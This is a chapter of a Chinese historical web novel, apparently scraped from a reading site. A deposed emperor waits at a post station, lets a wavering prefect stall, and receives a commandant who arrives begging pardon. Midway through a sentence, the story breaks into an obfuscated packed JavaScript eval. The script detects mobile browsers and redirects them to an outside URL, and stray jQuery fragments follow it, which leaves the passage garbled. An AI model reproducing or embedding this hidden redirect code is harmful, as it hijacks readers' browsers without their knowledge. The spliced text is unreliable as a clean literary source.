默认冷灰
24号文字
方正启体

72. 按捺

作者:东征西战本书字数:K更新时间:
    清晨,荥台郡地。


    阳首城。


    日光照耀在积雪的城头上,泛着刺目的晶莹。


    阳首城驿台前,姚坚勒缰下马,与驿台内官员完成了交接。


    朱漆大门缓缓打开,大门两侧,各立一名驿卫,稍稍躬身,迎人马进去将歇。


    少时,沈行约站在庭院中,耳中听得驿台古朴的院墙外传来一些细微响动,眉头一挑,没有作声。


    “陛下……”


    姚坚始终跟他在身后,面露少许紧张之色:“为防生变,下官已传令下去,所有士卒腰不解刀,马不卸鞍,预备着随时护卫圣驾。”


    入城前,姚坚与孙隆一致主张,打算只等郡内官员面见交接之际,伺机先将荥台郡郡守郑勉控制住。


    在此之前,姚坚曾与荥台郡郡守郑勉有过几面之缘,可彼此交情尚浅,想到昨夜消息流出,郑勉未必会选择站在他们这边。


    于是姚坚孙隆等人一致建言,与其这样,倒不如趁其不备,先一步占据主导局面,后再加以规劝拉拢,恩威并施,一如沈行约昨夜在灵沃时,对他们所做的那样。


    沈行约听过后,却问了这样一个问题:


    “咱们的人马有多少?”


    孙隆皱眉答道:“除却断后未归的城卒,共九百零四人。”


    他思忖片刻,又道:“算上随行的署中差吏,以及那百十名敢死军,人数有千余众。”


    沈行约点点头,道:“荥台郡内十余城,兵总几万数,想要靠挟持一两个郡官调令全郡,几乎不可能实现。若真鱼死网破,又当如何?”


    孙隆一时结舌。


    可眼下形势紧迫,他们只有这千余人马,不冒险走这条路,孙隆完全想不到,还能有什么法子。


    “单靠这一千兵马成不了什么气候,”沈行约道:“现在不是在边地的时候了,你们该多想想以后的事。”


    孙隆眉间凝起,与姚坚张衍等人相视,各自眼中都带着疑惑,不明白他这葫芦里究竟卖什么药。


    这时,孙隆依旧面带警惕,时刻留心着驿台内动静。


    “陛下,”孙隆压低声音,道:“自抵达荥台以来,这一路上诸多蹊跷,下官怀疑,此刻这驿台之外,怕是早有所防备了。”


    姚坚随之点了点头,二人等着沈行约的吩咐,然而却见他笑了笑。


    “有防备最好,”沈行约道:“这至少能证明,这里的郡官不是个傻子,只要他不是傻子,就一样懂得趋利避害的道理。”


    “可是,陛下……”


    “好了,”沈行约漫不经心道:“想我朝中官员君臣一心,朕今日来,未必就要闹到兵戎相见的地步。”


    随即吩咐:“你等众人,各自去忙,不用管朕。”


    瞥了一眼那群衣不蔽体奔波一夜的敢死军,沈行约朝黑差道:“你带着他们,自去收整,城中若有难民,挑力壮的男子,买下五十名。”


    黑差有些不放心道:“可是,主上……”


    意识到这个称谓已不大合适,黑差忙又改口道:“陛下……”


    “喊什么都成,”沈行约朝他摆摆手,催促道:“快去快回,赶在晌午前务必回来。”


    沈行约自到阳首城内,就像是回了自己家,全无先前的戒备和顾虑,在驿台用了早饭,竟像个没事人般,自去睡了。


    包括徐阜在内,没有一人猜得出他打得是什么算盘,手里又有着怎样的筹码,以至于能够心如止水到这般境地。


    尽管几乎一夜未得将歇,可众人此刻却没有半点睡觉的心思。


    姚坚看见沿途押持官署家眷的敢死军被黑差调走,心思猛然一动。


    整整一路,唯一一队完全听从沈行约调遣的敢死军始终跟随在家眷车队的身侧,这在某种程度上,给了他们这群城官以暗示。城署家眷在对方手上,即便姚坚等人生出反心,也要权衡再三,不能轻举妄动。


    而这一刻,沈行约不仅遣走了黑差等人,竟然径自找地方去睡了,这般不设防的态度,究竟是表明一种信任,还是存留一种试探,姚坚根本无从确定。


    他怀着对前途的忧虑,命人在皇帝下榻的舍外留心值守,而同样倍感忧虑的,远不止他一人。


    伴随着第一缕晨曦升起,昨夜,灵沃边地所发之事传遍了充州的每一处地界,荥台郡郡守郑勉得知此事,第一个反应是棘手。


    然而更棘手的事情很快来了。


    关都尉派人传来消息,郑勉从中几乎能断定,这个目下身份极为敏感尴尬的燕帝,来到了他所治的郡内。


    这种时局下,从浑北赶回的沈鐩就像一块烫手山芋,对于一个一郡小官而言,若处理不当,等待他的,极有可能就是株连全族的灭顶之灾。


    想到如此严重的后果,郑勉六神无主,一时难以拿定主意。


    但不论怎么说,有一点毋庸置疑,那就是这位流落在外的废帝决不能有事!


    尤其不能死在他所治理的郡地上,否则将是一桩巨大的麻烦!


    从得知消息,一直到此刻,郑勉与府中亲信商讨再三,终于向燕廷发起了一封奏疏。


    奏疏中,他将事由陈情完毕,并向朝廷表明拥护忠心。


    最后,郑勉写道:


    “……臣不胜惶恐,但请朝廷示下,旨意下达,臣自当谨遵圣命……或擒或防,皆候圣意裁夺。”


    奏疏发出,郑勉这才松了口气。


    作为游走官场二十余年的老吏,他敏锐地觉察到此事的非比寻常,因而不敢贸然轻举妄动,只派出人手,将这名燕帝软禁在自己的监视范围内,并采取了避不相见的策略,最大限度地与废帝沈鐩撇开关系,以免日后燕廷追究起来,不好辩驳。


    沈行约在驿台睡了半日,期间没有一个人来打搅过他。


    推开门,姚坚孙隆张衍等人守在廊前,打着盹靠成一排。


    “陛下……”


    众人见到他,纷纷起身行礼,沈行约摆手道:“没人来过?”


    三人相互望望,姚坚上前半步,低声道:“自陛下入阖关以来,沿途皆有士卒暗中尾随,此刻这驿台外亦有人手看管,形同软禁,只怕……”


    姚坚还未说完,沈行约却像已看出他的忧虑,平静道:“知道了,不急,再等等。”


    孙隆很想问问他在等什么,但看姚坚欲言又止,也便噤了声。


    午时,黑差赶回,还带回了一个消息。


    “阳首城城署派出了信差,往华封郡的方向。”


    沈行约点了下头,纠正道:“你说的不对,应当是往幽州方向。”


    黑差皱了皱眉头,对充州以外的中原地界并不了解


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169311|161534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    荥台郡在四郡之中,南下隔着绵延山脉,便是华封郡,而华封郡以南,便是幽州的京畿之地。


    “从中挑出二百卒,训练他们。”


    沈行约朝驿台朱门走去,经过时对孙隆道。


    “来人——”沈行约立在朱漆大门的阴影下,看着冬日暖阳透过树梢,将枝桠积雪融化成水。


    “去告诉你们郑大人,就说朕要召见他,让他即刻前来驿台陛见。”


    值守在驿台外的城吏犹豫片刻,转身离去,沈行约又朝另一人问道:“周通在哪?”


    那城吏已得知沈行约的身份,虽知不该与废帝攀上联系,可一时被对方那气度骇住,只得磕磕绊绊答道:


    “郡尉大人在、在郡边地,与北地郡帜军作战。”


    “还作什么战?”


    沈行约无奈,摇了摇头道:“罢了,等他回来,叫他也来见朕。”


    城吏一愣,不知该作何答复。沈行约则朝身后大喊一声:“赏!”


    黑差便上前,为驿台外值守的城吏全都分发了赏银。


    荥台郡中,因北地郡战事不断,不少百姓逃难涌入此地,人口增加,治郡开销也随之增大。


    数年征战,国中积贫成疾,上部官员俸禄一削再削,顶层如此,底部小吏更加苦不堪言。


    城吏望着手中一捧碎银,心头顿时有种莫名感受。


    午后,沈行约坐在亭中,闭目养神。


    前去唤人的城吏迟迟未归,黑差坐不住道:“陛下,要不我去把那郡守抓来?!”


    虽则驿台外有人看守,可这些人对他来说根本不值一提,凭借黑差的身手,翻墙越脊如履平地,想要虏回个郡官,应当不成问题。


    沈行约却道:“不急。”


    日头正盛,阳光斜斜洒入亭中,沈行约一身黑袍,大半身子沐浴在日光里,他未睁眼,只平静道:“他会来陛见的。”


    不止黑差,姚坚孙隆等人被关在驿台内,都是一副坐立难安的思虑模样。


    沈行约知道他们在忧虑什么,却并不打算出言以宽慰,反而道:“你们各自去歇着,马上就有恶仗打了。”


    姚坚等人听了这话,心中蓦地一寒,眼底的忧虑更深了。


    众人对他这话的理解:消息传来,燕廷马上便会下旨缉拿他们。


    况且,眼下不用燕廷派人,他们前往阳首驿台,如今自投罗网,被囚禁在这一院之地。


    不必等一场恶战,只消郡内调来军队,数千众就足够将他们这些人一网打尽了。


    姚坚把叹息咽进了肚里,众人默不作声,唯独徐阜听出了他的言外之意。


    “陛下,”徐阜谨声问道:“臣想请问,这一战,陛下胜算几何?战后又打算往何处而去?”


    沈行约缓慢地睁开眼,神情复杂地看着徐阜,后者一脸谨饬,端袖于面前。


    沈行约突然站起,道:“趁今夜,你亲自去一趟北地郡,见见那郡守江参,之后再去荥坝,替我向怀锋张沫二位将军捎去口信。”


    徐阜恭敬领命,沈行约想了想,终究不大放心。


    这时,朱门外马蹄声匆促止住,取而代之是一声疾呼:“陛下!”


    此刻,担任荥台郡郡尉的周通惶急赶来,撩袍跪下,高呼道:“臣救驾来迟!臣罪该万死!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)